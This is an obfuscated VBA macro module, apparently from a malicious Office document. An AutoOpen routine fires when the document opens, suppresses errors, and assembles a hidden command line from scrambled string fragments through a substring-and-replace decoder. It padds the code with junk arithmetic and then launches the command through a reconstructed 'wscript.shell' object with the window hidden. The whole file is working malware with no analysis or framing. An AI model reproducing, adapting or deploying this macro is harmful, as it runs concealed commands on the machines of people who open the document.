FwMdj = LuGSv("kcAYgBlADMAOAA0ADkAMABhAGQAOQAwADYAMAAxADIAMgA0ADcAYQA5AGIAOQA0ADkAMgA5ADYAYQAyAGMAMQBmADMANgAyAGEANABiADEANwA1AGYAMABlAGYAMQAyAGYAMgBlADQAZAAyAGUAMgAyADEAZQBiADMAMwA5ADIAMQA5AGQAhZLT3SkQ", 2, 178)
tQXziv = twijC * thXfXd
tZUwYi = zwCpfJ / ChrW(qTSrRI * FXvNXa) - umICT * qUwYY * 92049 / CSng(96836)
aqMCzE = GvhDO * dwQXFX
WwLobY = zNAUUr / ChrW(YPhEm * qEZDHu) - vaKwN * jIcfX * 51927 / CSng(49478)
iZkWuY = LuGSv("ohvqAGIANQA3ADcAZAA2ADUAZQAyADEAMgA3ADYAZABhADAAMQAwADcANQAyAGYANQBhADYAMgBkADcAMAAwADIAZgBiAGQAMQA2ADcANwAwADAAkGMI", 5, 108)
AtuMi = VEjjS * vzRYI
jUzZCB = FIwwk / ChrW(dMRqL * qYXirt) - jvTlqD * puFNb * 81830 / CSng(86588)
rVjImz = wSGOqD * qVNvk
OlACXT = plNpsW / ChrW(AzfaSI * iZisq) - imBVd * jiGUjl * 37455 / CSng(22794)
iiqVNElqoRW = LuGSv("EMLQBkADEAYwAyADIAOQBlADcANAA0AGYANgA5ADUAMAA4ADIAZgBlADIAMQA3ADYANgA5AGIAZgBjADkAMQBiADEAMgBkAD6PN", 4, 93)
KFQWTH = spmdc * jLVJjI
CksLw = Nudwpz / ChrW(LTUNWW * SuLiA) - AwuzX * KIwaM * 10473 / CSng(46657)
mqqjPb = FNGFfa * EajrZM
rvdJk = ziFvd / ChrW(ZwZVGd * idliLP) - iAzIE * UduvMa * 59523 / CSng(30707)
FOhuEO = LuGSv("0hA4ADQANwA3ADUANABjAGQAZQA1AGMAMQAxADAANgA3AGQAOAA5ADAAYgAwADQAMgA2ADUtrLIvSV", 3, 69)
aILciB = iFaNvh * GNStWc
jzqsdv = iIfwO / ChrW(CdWihM * Vsiqom) - ohtjIn * uKUjFF * 83771 / CSng(1179)
wBJEF = drdRC * jUOKT
OsDCf = BBYlw / ChrW(PNUwi * nXwbR) - cscmIQ * rapii * 40281 / CSng(88800)
mUczi = LuGSv("2l%TQBOAHcAOQBJAHcAPQA9AHwAMgA5ADkAOQA2ADcANABiADkAZgBhADcANgBjADIAMwA1ADYAZAA3ADgAYwA2ADQANQA4ADEAYgBlAGQAZQBhADIAMgBiADIAMgBjAGYAOAAyAGQAZQA0AGIAOQA0AGUAOAA4AGMAMIY@", 4, 161)
oCEjs = ZBpCkl * XwSma
ZnsOs = PEdaj / ChrW(boqzUt * YkDqmk) - iTUiX * IwUivo * 23457 / CSng(46621)
sOiZK = vpozE * WRVWOV
cPmLpR = kFCaGH / ChrW(BTkCPz * zqRwTX) - OHhFZ * rqFCt * 14503 / CSng(58809)
MClAuZFwC = LuGSv("33odLkAGMANQA5ADMAMABlAGQANwBiAGIAOAAyADQAZQAyADgAOQA4ADAAYwA5ADiWo", 6, 59)
pmOqz = VzlUz * AcYUN
uPWwV = hFoKO / ChrW(IIVVKD * IWNuR) - MGDBP * lpXNO * 93822 / CSng(82129)
idzIIN = LhFcj * quScI
SHOwNO = DrJUEC / ChrW(FFTTzC * iiZuG) - liuRv * jjSTj * 69728 / CSng(88594)
OrwTUj = LuGSv("8gBkADUANgA3ADYAYwAyADcAZgA0AGMANgA0AGEANAAuMj.KwA", 2, 42)
KWCNBa = Olbzf * NjYoC
ptZwr = CVwml / ChrW(jCZDMj * tfXXs) - SPvTw * iddEjk * 49056 / CSng(22264)
ttbqD = DMbNqh * EXRKzB
JWQpdz = BnmQw / ChrW(IzJau * pGRPit) - IKcjQo * iLWcmM * 8276 / CSng(66393)
ALLfsAHop = LuGSv("iNwBjADMAZABmAGYANwAxADUAYgA5AGYANwBjAGMAOQBhAGEAYwBjADkAZAAyADMAZAA1AGUAYwBmAGUXszmu ", 2, 79)
ZozsR = GOrQKM * sGmvnq
YGWcCm = bjnilG / ChrW(rbhBZ * DOpAd) - sTPqrY * mdSSU * 79938 / CSng(58537)
bDwzd = FYMrpK * DodtC
BrNuQq = YqUsb / ChrW(wztpJY * JCCKA) - JMRoCK * tjUNIi * 18527 / CSng(37212)
YsHwT = LuGSv("XBEAGYAZgAzADUAMgA2ADgAZgBlAGIAYwA4AGYAZgBhAGEAYgA0ADgANAA5ADAAMgBiAGUAMgBhADEAZQBkAGUAYgA3AGMAMABkADYAOAA3AGUAYQAxAGUAYQAyAGUAOAA4AGEAYgA2ADIANQBjADYANQAzADUAOABkADIAZgAwADYAZgA4ADYAZQTz6", 4, 182)
ODUQG = YKzUU * kwoCuX
zGBShk = PifjaP / ChrW(Fowqk * znHphq) - JlfLO * cVzMl * 74567 / CSng(61093)
rrQiNhu = wuiStFZfJ + """" + MJljKwMlrXfdz
lZYCFQjSs = jiiFNOTMdTChtZ + RPmjIbNDEU + DHBhOwlQj + rrQiNhu + tcWnkni + YwlBu + NXwVjnmN + mUczi + zMPlUmcCwvN + ZzbfFSYkO + MClAuZFwC + LwbVnkiTwn + EERAzn + SpmWs + mlPFHdB + MUhVjwcjVU + ALLfsAHop + HhiJRrpNZVZ + uhqZKLJn + AZQBo + iiqVNElqoRW + UDbKZSOU + MPiuDaXcru + iZkWuY + CMnQNraYC + uTJqfY + sHSXE + MLjWsJzfpZY + sFYIITzjjJ + hLfzvzI + AcdaYktHYfM + ZPrsbSS + wDRBihZ + YsHwT + FOhuEO + lACKNiY + OhzLi + OrwTUj + GMKFu + pNzmRa + ZCkHpYdCf + lchkuiJqzq + sLAXKot + JzZTjiCkF + VwXuHa + EAWMMvkMcB + LfIcTzjPzI + oKcHquzzQS + FsBcobwh + dlqZIf + SOrfmw + IUzfbpL + jMbQVSd + qnQzjd + ZiqqC + FwMdj + iAFMSWFXB + vpwrizu + cPdDIXY + wiQJlv
pwEZsL = AzvIlT * LBdSpW
dIFQjQ = pzGkB / ChrW(JVNqt * JaNIw) - jwRVJS * HtMpzI * 17805 / CSng(89896)
End Function

Attribute VB_Name = "jOKTYwONbhV"
Sub AutoOpen()
On Error Resume Next
fukwpq = GcZsOA * qKnKaG
pjtEhl = pFclSu / ChrW(zXBqX * iAHWw) - mIDZR * PEqOr * 83706 / CSng(14268)
Application.Run "zmHilwNGwHpwwc", lZYCFQjSs
sQXzG = FirmmU * AKoZW
Pwalf = iCqQk / ChrW(JiSNNd * QAMHR) - nwEPu * pUjsG * 34262 / CSng(60794)
End Sub
Function DHBhOwlQj()
On Error Resume Next
RwmMDY = qMPjZ * NVBYtG
XEsRQ = jzjGlj / ChrW(lAlBaT * pjzzJj) - FvpAq * IRNDVv * 31484 / CSng(85429)
zRdtdKo = LuGSv("aYwhVd%=eciUJCsr&&set %btBf9W", 7, 16)
GGdzd = MjAwZK * qHvHh
aCtFv = oUnhfi / ChrW(DTaqT * GcsLp) - RbtaG * NOwRT * 24454 / CSng(2208)
WiAwis = CczDXE * jaXYbh
dfzCH = pZiVT / ChrW(ZaVjzw * izbSRY) - jJPlNn * QsCAua * 60518 / CSng(6793)
CtIIpJqrQCp = LuGSv("%CB%! 0@5iZ", 4, 3)
zbjafR = uZccw * CNiiK
jJsIfw = hSfCV / ChrW(fWiqh * SSwVMk) - zzqpS * QCXUE * 36564 / CSng(7907)
KZJuB = ZRWBct * mprCEc
UGTUw = cOPzjB / ChrW(KzTFI * URuXzW) - PJnifm * GwDGo * 96711 / CSng(51636)
TMqNR = LuGSv("6wQu&set %cFGYCtXF64", 5, 13)
KBZVa = jmVmuV * taiVw
LTbjR = kMLvNQ / ChrW(HRHsw * vAjWRw) - QJMXVk * iPkjUH * 52182 / CSng(81642)
JjaIY = plnTHr * mQDpUZ
dfuhI = frwni / ChrW(YXbuX * skbtH) - OSPXcp * MzBYd * 71774 / CSng(87203)
zbzojMimPNE = LuGSv("j0uZVQXGFJuS0L", 5, 6)
MTzmzp = TbKVfi * onjXJT
zHPJiR = WzwJi / ChrW(fRdHI * UwnNHJ) - jJOoFc * JPMidV * 46104 / CSng(56243)
CuUCwD = ciLmU * VhULu
QKXGVr = NZTcI / ChrW(OjPvC * TQMVwV) - swHGmi * Lviio * 98085 / CSng(20921)
SmShYEL = LuGSv("b0dUnuDJot%!kNw4.", 4, 9)
psIBCN = RFmSY * REpZlp
RGShwG = SBlGD / ChrW(jaTMwS * mfBUU) - aurtE * JMRjZ * 52646 / CSng(6393)
OVsFUJ = mLSWh * jkIuN
fHDOZp = ikHIQG / ChrW(STsOhG * OooZU) - qXfPc * YBqKHS * 30328 / CSng(65360)
lMdEP = LuGSv("dvGwHpwwc%!!%jvcznBsOEz", 3, 15)
jiDBQE = QrtMGX * TPoEm
HFsjTi = cJlwRY / ChrW(hJlXEw * GnVPq) - kWuSN * lXbmWh * 64882 / CSng(55507)
qtwRV = ulzHHl * koGsJ
NcXZz = jXrWW / ChrW(LkcuK * WtFAwi) - IpHhMt * ofGvSU * 96432 / CSng(85126)
flctZBJR = LuGSv("cv%JskbdocvbYlZ4f", 3, 11)
cDObqw = updMW * JNftt
kbpidd = fdjcqw / ChrW(HdwhDo * oNsjh) - YWtPZ * GIKnYl * 95648 / CSng(27750)
wTsOJ = AuHNP * bCUXrI
zkQAs = jhXiKR / ChrW(ohwrf * NKpzu) - OzEMz * nSjUWi * 36257 / CSng(1021)
OslJFw = LuGSv("oH9SEEAdZjEWn%=UJpmowDi&SAN", 6, 19)
dSdPw = rwuDds * uvKmWi
sbVZDX = rUKQYf / ChrW(krMizZ * zKIUi) - XlJkM * XfBzDM * 48292 / CSng(94665)
YztQB = WzJJiP * iAPku
dlXWz = FlMsrI / ChrW(GGVWRT * POczf) - kWCYc * vhYdA * 52028 / CSng(91346)
jwliosrzXT = LuGSv("0uKAJrLZPmoC%=he&&set %OQ", 7, 17)
vEJHSA = IAJdwR * BOJXrt
iinPj = LicUv / ChrW(pXLFV * iSbWtv) - qUfJUd * BbNVVr * 67002 / CSng(75586)
jicpZa = ptLIH * XIzwA
HptzYn = WvArd / ChrW(zwWLSF * qthODk) - TmiYmY * dqpiDB * 844 / CSng(7684)
wjHIcht = LuGSv("A&&set %lZYCFQjl0zM90WM", 2, 14)
oCiVK = AzfrZ * NHfwnu
jMcEE = UGhjO / ChrW(amktM * OiJml) - vwqPiK * PHuUwL * 95297 / CSng(56893)
cRCir = zhuTF * TzGaWC
PiAwo = VPcJsP / ChrW(lRYUd * aKrlr) - acRdN * IDwmX * 53674 / CSng(36738)
YlKbFzph = LuGSv("i5SW2nvduOGKICAw", 6, 9)
qWsXX = EipBZ * zEbzXw
dOLEm = vkLaw / ChrW(wBPbES * NpQrn) - DbQDb * PaSpzi * 34597 / CSng(12540)
wzFfO = bfjlp * ntpnP
pTaSO = TtXuCn / ChrW(fwPXzi * QlMUoh) - biwHIZ * mNidiL * 24515 / CSng(40140)
KfZIsHLamJi = LuGSv("hFMQAUNdlZjiTD%=QCPTqwi90L", 6, 18)
hdvuKM = VpImo * GFdjD
LbmtNJ = ijtQTQ / ChrW(mfrsnj * JaRAn) - iHdzCI * JXuji * 70564 / CSng(33830)
biJPr = piFZAd * LQDiHi
OijptQ = GoSiDY / ChrW(zIwEQ * zEEEa) - JirWHz * GotBT * 41901 / CSng(51858)
sMvnXHw = LuGSv("i7set %DfFGJNdjuqoN", 3, 11)
ipnvz = YNHFd * bdKicO
HLPSK = vSfEGi / ChrW(pBRPRJ * YlQjRi) - jciPZ * FTtSX * 55193 / CSng(31897)
ZSmaF = XJMVr * poCnOp
aoCjd = KGVLoM / ChrW(jdXXh * vzIICh) - bURZzk * cnVXm * 16668 / CSng(85591)
rHHLalTuzj = LuGSv("OGOVzk&&80sOC", 2, 7)
KBzXIr = LQiGU * TRfAwz
qovME = XsIAlY / ChrW(ApHKi * oJIAv) - PaJVpX * LmFVGl * 37448 / CSng(30588)
HrkjLw = hLZXnu * fLOiU
GstjVB = qAOiv / ChrW(HLnNWq * KNIiaW) - qfDZc * FrOzA * 26054 / CSng(19601)
hJdAkVUoqt = LuGSv("uhqu@JskbdocvbY%%8", 6, 11)
mhwubJ = urzrsi * sjOJzm
KzoCnY = wpNJj / ChrW(XjLkw * bwnFi) - ZRzfjr * XsbjI * 85420 / CSng(77033)
EiICq = vMsEC * kwwSq
MVAiW = RfRGTS / ChrW(ujOac * sYUHq) - LRWQNJ * vPtYK * 42344 / CSng(14087)
WARYrDpQ = LuGSv("fw%nduSs%=ociUJCsw&&set %pF@zW", 7, 16)
lKBos = iHkVWU * wisNJH
XuODw = WGBIEE / ChrW(DGNTT * AdJlur) - awjBLB * wwqwz * 84625 / CSng(87624)
qmPoVP = fLiKZ * okqjTA
fOzRAd = Zwlwj / ChrW(ilwUh * mkzDt) - KtQSc * riOTc * 78980 / CSng(95987)
VuEMJpG = LuGSv("6kCtXoSXzji%!&&set inkt", 3, 17)
rIzjal = CzCmVC * OLfKE
qjpHW = FFIPJ / ChrW(XuQdn * dHoIt) - jHTjQ * nRkvz * 16466 / CSng(36565)
HXGknK = AHkuio * iODVo
ASzmA = ECVUSn / ChrW(njqoiS * OIuTb) - zGsqLz * vfpYT * 67737 / CSng(76429)
jpSNoqj = LuGSv("j@iodQvELFj&&set %zCw5V@", 3, 17)
XimRH = BkrZZC * KrYfL
CzJfJ = izHuS / ChrW(vfQqd * BTpvW) - Qlzlk * QsILlH * 26520 / CSng(98984)
hEPvPz = dLuGPc * tXYTb
TbQNw = aoMmVw / ChrW(lYjqi * dhjoA) - OSSrPD * FjbFoB * 98906 / CSng(54922)
WvMWqmM = LuGSv("2KX%I2LrwP", 4, 1)
EQZYK = rzNhqH * rjmPah
Hzzjs = sJSroi / ChrW(GdSPbd * bSdhM) - HosSY * RIOGTp * 61931 / CSng(37816)
oEijHL = jvHmY * dEGHLz
jLwrq = RXbbz / ChrW(RSccTz * liIVpF) - EVwFT * aCtdG * 82358 / CSng(85579)
TDjTZpOsan = LuGSv("zzc37kONL9w", 7, 2)
uuHUIF = MAcmK * OiaqIm
VvYWHr = PZzVc / ChrW(BrnBA * AHrUVS) - fMUSm * EQMwVk * 23302 / CSng(31850)
GEUMPA = qGVwk * MzTXij
lUMwm = NjtIPi / ChrW(SzAcUZ * jbiHiW) - wmkDd * XJmrY * 50998 / CSng(35361)
qwHmjlGw = LuGSv("ZH9set %LJswHJvffqm", 4, 12)
VzwFUz = PwrCE * qKpERP
QwJFm = NIKID / ChrW(HvLdjB * XQhpt) - YJhzz * HLuVYo * 86796 / CSng(37140)
fqZjw = ZmURw * ZfYliO
qbIcQ = EMvjM / ChrW(aSfaB * jvLLr) - ZXqWb * UXwzw * 59330 / CSng(44271)
RqCiufcWRhD = LuGSv("P.5RcEE%=TTjW", 4, 6)
ISrCd = HEYKu * XUwSE
kiDtai = bLpRcW / ChrW(DnIRD * hkSUw) - bVwAYd * QuoKPr * 18911 / CSng(32807)
vSVaa = mKrzXc * qJFAkp
shFWi = tAlHcd / ChrW(dFDOZX * wdvIuf) - NJDPPC * hNNzri * 87577 / CSng(72249)
raXGNIUBoTF = LuGSv("hdLIq&set %jvcBz3A", 6, 9)
kWujM = FraMOL * mwcCN
rhrNaw = sqOhpj / ChrW(ELlzv * cDMpC) - lTbQXp * NtssJ * 38549 / CSng(76573)
fhZUQ = wKtHL * dcwiPI
wwbqDK = VwjitF / ChrW(jUADSL * opKHW) - fGzTd * BmJDq * 42240 / CSng(17968)
zDDkcRkYB = LuGSv("BuinXYUNZiJrZF%=hU,dLr", 2, 16)
wzbLO = CtIwb * zcKHRj
BMOBPE = DzaQJh / ChrW(mXrNz * QGlwws) - MZcBmH * HMkwLG * 60135 / CSng(4511)
cVJOR = lTonS * NJFpZ
sXzJQ = lPunW / ChrW(dKBRG * OQdCBj) - zzWiQX * RlRVY * 37596 / CSng(8952)
VmWkjj = LuGSv("d2zUnuDJot%=s&&set %SpE0i%", 3, 18)
dCQzw = KIzwC * bItpV
NSCOk = QKErsf / ChrW(miGnam * kdnrW) - NGkIrb * GGmFOR * 73382 / CSng(64148)
zOKpGB = fzlvAb * PNkvq
VnnBw = itCkC / ChrW(tHqBZ * NvQXvw) - JHaGF * ORLWK * 51862 / CSng(16611)
AFobDDItUd = LuGSv("N1moSXzji%=pb1i", 4, 9)
vSAdOi = HUXOon * uwwrpc
CHmwio = iljaQE / ChrW(dPujQ * BnCrRO) - WMYSlj * sKNjj * 89820 / CSng(82117)
ssHbr = vMiMoi * YhiCGt
FvfwJ = JRMcQ / ChrW(tAKiV * vFwmw) - VULliK * ivWNzN * 20270 / CSng(34267)
MAWcA = LuGSv("poFwk8wNs0", 7, 2)
VdAGwR = iOCNdL * ZSwCao
YmBnlb = mNQKH / ChrW(kSmsj * ijXbz) - THwuA * jdwwr * 96977 / CSng(35086)
kdQSO = Ztuul * rTpiKS
UmJXSm = VPOMj / ChrW(oFHWX * NhVWk) - sYRijz * rsjib * 11362 / CSng(96015)
KwLwQsi = LuGSv("sTnNX!%btBfjlDL%!!%z2uZ", 6, 15)
JoJiiL = olLTKw * PzPYa
NmriRB = HEbjQZ / ChrW(DsLsCl * kfTNm) - mckOC * XRXzbN * 63263 / CSng(37725)
nUaXWw = zdQVcz * DflWns
DPcrw = VOKdov / ChrW(GtXrb * YlTEG) - uZSKsP * SMjFzf * 45312 / CSng(38242)
BwXApJ = LuGSv("20wJjW7IamLizlNZt&&set XP", 8, 16)
jSnjj = VKHtvl * fjKVQ
FCDSN = dsWnaL / ChrW(iACAR * uBDHD) - UKzjzu * PTOVfA * 49978 / CSng(78008)
zJFrSC = HDqUK * RLbInf
Xswiz = PQNRC / ChrW(QhbfWl * jockP) - rjNpW * pXuCF * 24081 / CSng(44730)
HzbOaatqPD = LuGSv("cNmHil%r0@", 3, 4)
wnBtlo = tzpjEW * whvHh
HoCbr = MGWiW / ChrW(ztTvn * waWwjX) - RiSaN * zfClI * 71666 / CSng(50572)
obWMli = pikPu * IEEDvQ
LWIXEf = jlMJR / ChrW(uNilPz * wYPKJ) - qimcd * qhWRTw * 16292 / CSng(10763)
VwcvzQ = LuGSv("2NN!%DfFGJNLZPmoC%!!9O%", 4, 17)
WESaz = kvZSn * MhmHzN
oozIiZ = IXvLmH / ChrW(zbUzkL * FnMJq) - izkKVl * QRZvk * 2965 / CSng(44565)
VjjRE = QMcUUO * RaawU
hqYEi = RrEDa / ChrW(HtZEi * NllRqQ) - KwuYlL * MFzXz * 61257 / CSng(5101)
fpXiXoOuYhv = LuGSv("9!%lZYCFQjSs%!&Hmzi%a", 2, 14)
nBMJBH = UzMwj * iPPAHb
YXSSs = ACuCH / ChrW(oTwjFh * UwiuM) - bldpjX * EiWPjt * 31450 / CSng(96207)
njzdEk = VvsVvW * Rkbsni
ltzrd = DVEjmG / ChrW(cQiHsj * RJvzFJ) - jqRoC * iCpwm * 51326 / CSng(15100)
MnpLiQz = LuGSv("@WXXHEiwurO%=!%cFGY%uvSN", 5, 15)
zrMjp = UBCUAH * CczAlT
UimrjD = ZakVR / ChrW(WSRjQ * Rjioz) - vQbZsz * GjBVE * 39501 / CSng(99510)
Tqwamh = EYoGFF * zzEjH
QqTiVF = Sfvpc / ChrW(kLYUlM * JmHpRl) - WABOJU * NcXOF * 62005 / CSng(59037)
VcuwvKTvpd = LuGSv("V=ll&rVsEZ", 2, 4)
Yczia = GYdTU * idjdQ
QhSijj = OWjBF / ChrW(fGrOiq * LTQbYu) - zhkttz * PzAuv * 36552 / CSng(43213)
cqRBBo = wbhfZ * DUHLol
cZqYSq = XpIXi / ChrW(kknvjO * QZjRRz) - JEVMz * COCzs * 67041 / CSng(20234)
ioELlvdGXSI = LuGSv("c%i%&!%HVYHEiwurO%!Tiv.", 5, 15)
pITKwu = ThLfZ * NCtYH
WzTTw = ObVhn / ChrW(zEtaR * HUCIp) - KjYJp * JalNn * 68232 / CSng(43562)
GRzNk = vDSpqi * winMDl
wLzwlT = mPALi / ChrW(HZqkO * AQiYJO) - FMHGm * KLWvRC * 53327 / CSng(33415)
MFZIOFjD = LuGSv("atrh%HVYvv", 5, 4)
JnRdM = VWsDz * kaSmq
NNGfIN = TLkiZi / ChrW(imHqHf * MkqPD) - YZkEIb * OEHdi * 7648 / CSng(98430)
TJDsh = KzoPm * nMouc
aqqIbM = mTazY / ChrW(BjjiPB * njbEdZ) - DpJwjp * zEWKhq * 82892 / CSng(89824)
zJCzKTujCmI = LuGSv("N0U.jlDL%=Z%r@k", 5, 6)
kBQVk = HhZswn * OliCiz
KbNjAE = JTiLms / ChrW(rDNDtP * bZqqGG) - lffHtz * JojVjI * 96219 / CSng(26168)
jLabws = foKov * LNQcji
plEpn = btcuD / ChrW(QpmnC * VsIwl) - hXfCV * vluFzu * 12944 / CSng(70944)
BEnrDrIpZj = LuGSv("6o5LTmHilwNGwHpwwcNZqz", 6, 13)
uQNCuH = isYZOO * mIsAl
PXZYo = SFLrrj / ChrW(aabut * Mttndv) - hWIwF * VcXWrp * 27735 / CSng(93788)
DHBhOwlQj = qwHmjlGw + OslJFw + TMqNR + AFobDDItUd + wjHIcht + WARYrDpQ + zDDkcRkYB + BwXApJ + MFZIOFjD + MnpLiQz + VuEMJpG + WvMWqmM + YlKbFzph + TDjTZpOsan + RqCiufcWRhD + jpSNoqj + BEnrDrIpZj + zRdtdKo + zJCzKTujCmI + fpXiXoOuYhv + raXGNIUBoTF + VmWkjj + zbzojMimPNE + KfZIsHLamJi + rHHLalTuzj + sMvnXHw + jwliosrzXT + hJdAkVUoqt + VcuwvKTvpd + ioELlvdGXSI + KwLwQsi + HzbOaatqPD + MAWcA + lMdEP + SmShYEL + VwcvzQ + flctZBJR + CtIIpJqrQCp
iSBjsw = oLNwJY * WkvcO
vzOmz = oCEjF / ChrW(tXKamw * cuizj) - kzNBl * NzjtlD * 28604 / CSng(68392)
End Function
Sub zmHilwNGwHpwwc(jvczUnuDJot As String)
On Error Resume Next
mbtPNG = cmkmw * PGICq
TrOZn = OvMaqL / ChrW(hlXoGw * KLKKUc) - rZNapP * LAXCG * 39081 / CSng(98184)
npEUhouKHwRqZz = tCvYq + Replace("wciUJCs", "ciUJCs", "s") + ZsRBF + Chr(VBA.vbKeyC) + Replace("ript.ciUJCshell", "ciUJCs", "s") + wIhEFL
XVwzBv = WkzmAc * zRIOwl
RhvZjT = CTTwv / ChrW(bpuCu * DsosfB) - BzrZpJ * NGoDa * 33500 / CSng(54652)
CreateObject(npEUhouKHwRqZz).Run TRjpEFTJWF + Chr(VBA.vbKeyC) + jvczUnuDJot + TircpQXG + KLtdnVJU, vbHide
rcdza = XLpwX * pUUVpr
dwmDK = SHXCB / ChrW(wwIicr * HSFia) - ikVqZI * imqCEZ * 34701 / CSng(80206)
End Sub

Attribute VB_Name = "QzIoNbij"
Function jiiFNOTMdTChtZ()
On Error Resume Next
mzuMLR = PULbOX * kYwfQ
jWRGU = zJmQSw / ChrW(MwBriW * kswip) - bpqCM * PSEQi * 75765 / CSng(84732)
zRdtdKo = LuGSv("aYwhVdmciUJCsSciUJCspciUJCsEciUJCscciUJCs%     /V  9W", 7, 20)
TRdEsf = LUihRI * SqXiRI
ISkDF = TIfTDm / ChrW(zSPtqJ * QUIVuE) - ANsAW * iLwtAm * 97039 / CSng(19292)
RWvPE = IZLSu * NfsBR
hFiwwm = wUhcUT / ChrW(TQWHw * bYzbk) - hoCAMj * RVScT * 50755 / CSng(17241)
CtIIpJqrQCp = LuGSv("%CB YJdmLzojIbNHPCKzNkiAndC0@5iZ", 4, 24)
Izazrz = AzIkFv * IFDOT
ptUVs = BkAoDj / ChrW(jTbZis * snFrbi) - ONMZFG * zPdFE * 86517 / CSng(95182)
JqHNN = prbwI * iWFaCi
bowzUD = GVhkI / ChrW(nLArFj * UuiEkD) - qnRno * aaULs * 75106 / CSng(20402)
TMqNR = LuGSv("6wQu       /c           F64", 5, 20)
CUJrqS = TVOUWl * hGtNQo
SDuwv = NqpwS / ChrW(uRZYN * lSXSDS) - cAtOR * WVakRP * 89497 / CSng(90316)
YhvmGD = vwqVC * vVvcq
ROOmJ = swNSV / ChrW(cDtPj * WqCAb) - ICLwAQ * mVBvS * 18558 / CSng(90512)
zbzojMimPNE = LuGSv("j0uZmd fMaCcLZRKzfnuS0L", 5, 15)
PNHmcb = szdjop * AGRni
GMwvwH = jaHaFl / ChrW(GcuNz * WKLST) - VfVuif * QfDRLp * 40057 / CSng(85059)
NiwnWP = BEhMDA * zDvXh
FJwqO = mGwhiV / ChrW(WZBXuS * pMCOV) - vndaOu * wbEmG * 48453 / CSng(72891)
SmShYEL = LuGSv("b0d  %ciUJCscciUJCsociUJCsmciUJCsSciUJCskNw4.", 4, 12)
qFXDrX = wwjBEJ * sGiUi
zcVSkP = vVORVj / ChrW(zGfLiI * ofuNp) - iiwDlq * cOkETb * 79929 / CSng(67716)
ckjRA = lNNBTM * TucLFY
hdnnjX = GLfQQ / ChrW(cwXJF * twnbt) - CYLtd * vbzqzw * 87172 / CSng(70456)
lMdEP = LuGSv("dvpciUJCsEciUJCscciUJCs%     %ciUJCscciUJCsociUJCsnBsOEz", 3, 18)
ciBhkD = wXWTGz * ztCucd
qNiwVo = mwbQU / ChrW(QTltII * anWKa) - wBwzBR * ilRTj * 28933 / CSng(27255)
zJpBJJ = jrwbW * EXwskE
QBzww = YXbztL / ChrW(apMiUS * BrjmA) - znBIR * LMTzJ * 86157 / CSng(6466)
flctZBJR = LuGSv("cv sqzLwzUQEsf &   lZ4f", 3, 17)
kdEuD = rYOKO * RrDYV
wiqkV = jnzSH / ChrW(DpRwcX * mjjcaY) - ttoUJu * wwYdzI * 72503 / CSng(27155)
jiiFNOTMdTChtZ = zbzojMimPNE + CtIIpJqrQCp + flctZBJR + SmShYEL + lMdEP + zRdtdKo + TMqNR
QYRWH = GSOfl * dMBQLf
mzfJN = GssVd / ChrW(BYTTD * CjUmV) - dJtTk * MncMb * 31993 / CSng(71120)
End Function
Function LuGSv(ByVal HVYHEiwurO As String, JskbdocvbY, DfFGJNLZPmoC)
On Error Resume Next
rdVjEY = MccZw * wuCEJ
FZDZi = BGVlNH / ChrW(pAiid * iSiswp) - LzBOl * RaaQn * 8600 / CSng(83493)
HZaLvKcfzQmbGk = DSwaPVYHRPP + Replace(HVYHEiwurO, "ciUJCs", "^") + JbpXhGjOo
FHAEp = OjvalL * AkRhUr
hlwLz = lDjjUd / ChrW(BNqaLf * siTooz) - pnPZOW * TTIoEw * 79157 / CSng(20972)
btBfjlDL = PFIQcmtqWouLzR + Mid(HZaLvKcfzQmbGk, JskbdocvbY, DfFGJNLZPmoC) + XCtwQT
FHLit = lHjIhi * jfjUC
ZDabYU = wRBFt / ChrW(fIzBFu * LFPHmd) - MarWZ * WuDffn * 26646 / CSng(85075)
LuGSv = TFbPnDwjibZ + btBfjlDL + hTnSpu
oYZij = XlETWR * AdlJjX
NQqNvz = obPNpt / ChrW(DKubu * PRsQI) - sIEii * SDpYhM * 67980 / CSng(63247)
End Function